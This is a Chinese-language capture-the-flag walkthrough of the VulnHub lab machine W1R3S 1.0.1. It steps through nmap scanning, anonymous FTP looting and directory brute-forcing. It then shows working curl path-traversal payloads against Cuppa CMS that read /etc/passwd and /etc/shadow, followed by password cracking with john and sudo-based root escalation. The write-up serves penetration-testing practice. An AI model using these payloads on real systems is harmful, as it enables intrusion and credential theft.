W1R3S 1.01打靶复现
Reference
红队打靶:W1R3S: 1.0.1详细打靶思路(vulnhub)_w1r3s 1.0.1-CSDN博客
「红队笔记」靶机精讲:W1R3S 1.0.1 - 渗透测试思路为王,细节多到即使对于纯萌新也能无感入圈。_哔哩哔哩_bilibili
主机发现
靶机选择NAT连接,攻击机kali虚拟机的网络连接方式选择桥接
执行ip a
查看kali攻击机的ip
kali的ip为192.168.43.168
,所在网段为192.168.43.0/24
使用nmap扫描该网段
1 | sudo nmap -sn 192.168.43.0/24 |
-n
指no portscan,不进行端口只进行主机嗅探(ping扫描)
-sn
相比于广播查询更可靠(共发送四项数据来嗅探主机),尽量不要使用-sP
在靶机上线之前进行一次扫描,靶机上线之后再扫描一次,对比发现上线的主机,用于确认靶机的ip
将靶机上线后,重新扫描网段
多出的这个IP192.168.43.11
即为靶机的IP
端口扫描
粗略扫描
可以建一个文件夹用于保存扫描结果
1 | mkdir nmapscan |
使用nmap对找到的靶机进行端口扫描
1 | sudo nmap --min-rate 10000 -p- 192.168.43.11 -oA nmapscan/ports |
--min-rate
参数设小一些(10000以内)是为了防止被判定为恶意扫描
-p-
即指定扫描全端口
-oA
输出nmap的扫描结果到三种不同格式的扫描日志文件中
我们还可以指定探测方法,例如-sS
和-sT
TCP SYN扫描(-sS):
这是一种半开放扫描技术,常被称为”隐形扫描“,因为它不会建立一个完整的TCP连接。
在这种扫描中,Nmap发送一个TCP SYN包(连接请求)到目标端口。如果目标端口是开放的,目标机器会回应一个SYN-ACK包(同意连接)。此时,Nmap 不会发送最后的ACK包来完成三次握手过程,而是发送一个RST包(重置),这样就避免了在目标系统上完成TCP连接的记录。
这种扫描方法相对不易被防火墙或入侵检测系统所发现。
TCP connect()扫描(-sT):
这种扫描实际上使用操作系统的connect()函数来尝试打开到目标机器的TCP连接。
如果端口开放,操作系统完成TCP三次握手过程,并建立一个完整的连接,然后Nmap发送一个RST包来关闭连接。这种扫描方法容易被系统的日志记录及安全系统发现。
当然这种方式探测端口时更加准确,不容易漏扫端口
一共扫描到了4个端口
执行cat nmapscan/ports.xml
查看详细扫描结果
当然实际渗透测试过程中,由于目标主机被扫到的端口可能较多,即使是ports.nmap
中,扫描结果也会非常繁杂
而我们只希望了解开放的端口,所有可以用grep
指令过滤一下输出
1 | grep open nmapscan/ports.nmap |
当然后续详细信息扫描时,我们可能会经常要用到之前扫到的端口
所以可以通过将扫到的端口整理一下,用逗号分隔后指定为系统变量,方便后续随时调用
1 | ports=$(grep open nmapscan/ports.nmap | awk -F'/' '{print $1}' | paste -sd ',') |
awk -F'/' '{print $1}'
:awk
是一个强大的文本处理工具,这里它用来处理通过grep
筛选得到的每一行。-F'/'
设置字段分隔符为斜杠(/
),这意味着awk
会将每行数据按照斜杠分割成多个字段。'{print $1}'
指示awk
打印每行的第一个字段,对于Nmap的输出来说,通常第一个字段是端口号。
paste -sd ','
:paste
命令用于合并来自标准输入(stdin)的行。-sd ','
参数中的-s
选项告诉paste
将所有输入行串联到一行中,而-d ','
设置字段分隔符为逗号(,
)。这样,所有从awk
输出的端口号都会被合并成一个由逗号分隔的单行字符串。
详细扫描
接下来我们扫描具体的端口服务和操作系统版本等信息
1 | sudo nmap -sT -sV -sC -O -p $ports 192.168.43.11 -oA nmapscan/detail |
-sV
:服务版本探测,这个选项让Nmap尝试确定目标端口上运行的应用程序及其版本信息。它通过发送特定的数据包序列到各个端口,然后分析响应来实现。
-sC
:默认脚本扫描,这相当于执行
--script=default
。Nmap有一套脚本库(NSE: Nmap Scripting Engine),这些脚本用于执行更广泛的探测,如常见漏洞扫描、额外的服务信息获取等。-O
:操作系统检测,通过分析目标主机返回的数据包的特征(如TCP窗口大小、TTL值等),Nmap试图推测目标操作系统的类型和版本。
此时我们就能体会到分阶段扫描的重要性:虽然上面的指令使用了-sV
、-sC
、-O
等参数探测了较多信息,属于动静很大的攻击了,但是由于上一步我们把端口范围缩小,所以总体而言还是比较隐蔽的。如果一上来就对65536个端口(全端口)进行全面扫描,那么暴露的概率就会非常大
扫出来的详细服务信息如上图,而-O
的扫描结果则给了一些系统信息的推测范围
这些端口中的漏洞为我们提供了不同的攻击向量,在攻击时我们可以组合运用,或者在没思路地时候切换攻击向量
UDP扫描
紧接着我们再进行UDP扫描,保证没有遗漏的端口信息。虽然UDP端口暴露的攻击面是比较小的,但在信息搜集阶段就应该搜集较全的信息,当TCP端口没有找到突破口的时候,说不定UDP也是一条路。
1 | sudo nmap -sU --top-ports 20 192.168.43.11 -oA nmapscan/udp |
这里只扫描20个最热门的UDP端口,由于udp的协议优势,扫描速度会非常快
当然UDP扫描得到的端口可以作为备用资源,当无法从TCP端口中找到有用信息时,不妨关注一下开放的UDP端口
漏洞扫描
—script=vuln表示使用nmap中自带的脚本vuln进行漏洞扫描。该脚本会对端口的历史常见漏洞进行扫描探测,如果这一步就能发现可利用的漏洞,对后续的操作会很有启发。
vuln是vulnrability的缩写,这个脚本由官方不断地维护更新。
1 | sudo nmap -script=vuln -p $ports 192.168.43.11 -oA nmapscan/vuln |
并没有发现更多新漏洞,而提示的DOS攻击在实战中基本不会用到
FTP渗透
使用ftp
命令连接到靶机的ftp服务,使用匿名登录,密码为空
此处我们最好先切到二进制模式,这是一个好习惯,防止后续从靶机下载的可执行文件无法执行
执行ls
查看目录下的文件
一共三个目录,先进入content查看
存在三个可读文件,我们将其下载下来(使用prompt
关闭交互的提示信息)
继续下载其他目录下的文件
1 | cd ../docs |
将该目录下的worktodo.txt
文件也下载下来
1 | get worktodo.txt |
第三个目录
1 | cd ../new-employees |
在获得泄漏文件后,FTP服务就可以退出了
一次性查看所有文件cat *.txt
前几个文件提供了两个编码,第二个能一眼看出是base64编码,而第一个则可能是某种哈希值
将第一个编码丢给hash-identifier
提示最有可能是md5编码
丢给在线网站破解https://hashes.com/en/decrypt/hash
明文This is not a password
,是无效信息
解码base64
1 | echo 'SXQgaXMgZWFzeSwgYnV0IG5vdCB0aGF0IGVhc3kuLg==' | base64 –d |
仍然是无效信息
看到员工列表,这是较为有用的信息。
针对每个人的名字和职位,我们就可以做针对性的渗透。比方说经理Naomi的权限说不定会更高,Web Design网页设计者可能在web开发中有一些自己的习惯。HR是我们社工的主要对象等等
Web渗透
扫描目录
浏览器访问一下靶机在80端口上开 的web服务
为apache服务器的默认页
使用gobuster进行目录爆破,字典使用kali自带的即可
1 | sudo gobuster dir -u http://192.168.43.11 --wordlist=/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt |
观察一下扫描到的目录
存在wordpress目录,所以可能使用了wordpress这个博客CMS
访问一下192.168.43.11/wordpress
(Ctrl+左键点击扫描结果会自动打开浏览器),结果跳转到了localhost/wordpress
查看一下administrator
目录,成功访问
现在得到的信息分别是wordpressCMS和CuppaCMS
点击administrator
页面上的Next按钮,进入安装配置页面
这里数据库名称和密码就设置为R1ck
,Emailtest@gmail.com
查看管理员账号的用户名密码提示,提示均为admin
点击下一步,提示管理员用户创建失败
Cuppa CMS
在kali中搜索一下Cuppa CMS可能存在的漏洞
1 | searchsploit cuppa |
仅存在一条记录,将其下载下来
1 | searchsploit cuppa -m 25971 |
查看漏洞信息
1 | cat 25971.txt |
该漏洞为远程文件漏洞,漏洞位置为/alerts/alertConfigField.php
文件,注入点为urlConfig
参数
描述中提示可以进行远程或本地文件包含,同时还能读取非php文件
尝试提供的payload
http://192.168.43.11/cuppa/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd
路径错误,我们重新构造一下,推断该靶机中将cuppa文件夹重命名为administrator
所以构造payloadhttp://192.168.43.11/administrator/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd
这一次有了回显,不过并没有读取到密钥文件
我们重新审计一下cuppa CMS源码
使用的是post传参,说明该CMS的代码更新过,我们使用curl
指令来指定post参数
1 | curl --data-urlencode urlConfig=../../../../../../../../../etc/passwd http://192.168.43.11/administrator/alerts/alertConfigField.php |
passwd文件里面所有账户的密码都是用x代替的,真正的密码(加密后)放在/etc/shadow中,同样的curl方法,我们改一下参数,查看etc/shadow文件
1 | curl --data-urlencode urlConfig=../../../../../../../../../etc/shadow http://192.168.43.11/administrator/alerts/alertConfigField.php |
保存到shadow.hash
,仅保留密码为哈希值的用户
在vim编辑器中,使用esc模式下的dd
指令可以快速删除光标那一行的内容
密码破解
将shadow.hash
文件丢给john工具来破解
共爆破出两个密码,root的密码爆破了5分钟还没出来,可以放弃
www-data一般是功能性账号,所以我们主要关注w1r3s这个账号
提权
远程ssh连接到w1r3s账户
1 | sudo ssh w1r3s@192.168.43.11 |
输入密码computer
,登录成功
查看当前用户是什么系统级权限
1 | sudo -l |
提示当前用户有全部权限,即当前用户基本就是root账户了
我们启动root的bash会话sudo /bin/bash
,提权成功
浏览root目录下的文件
1 | ls /root |
找到flag文件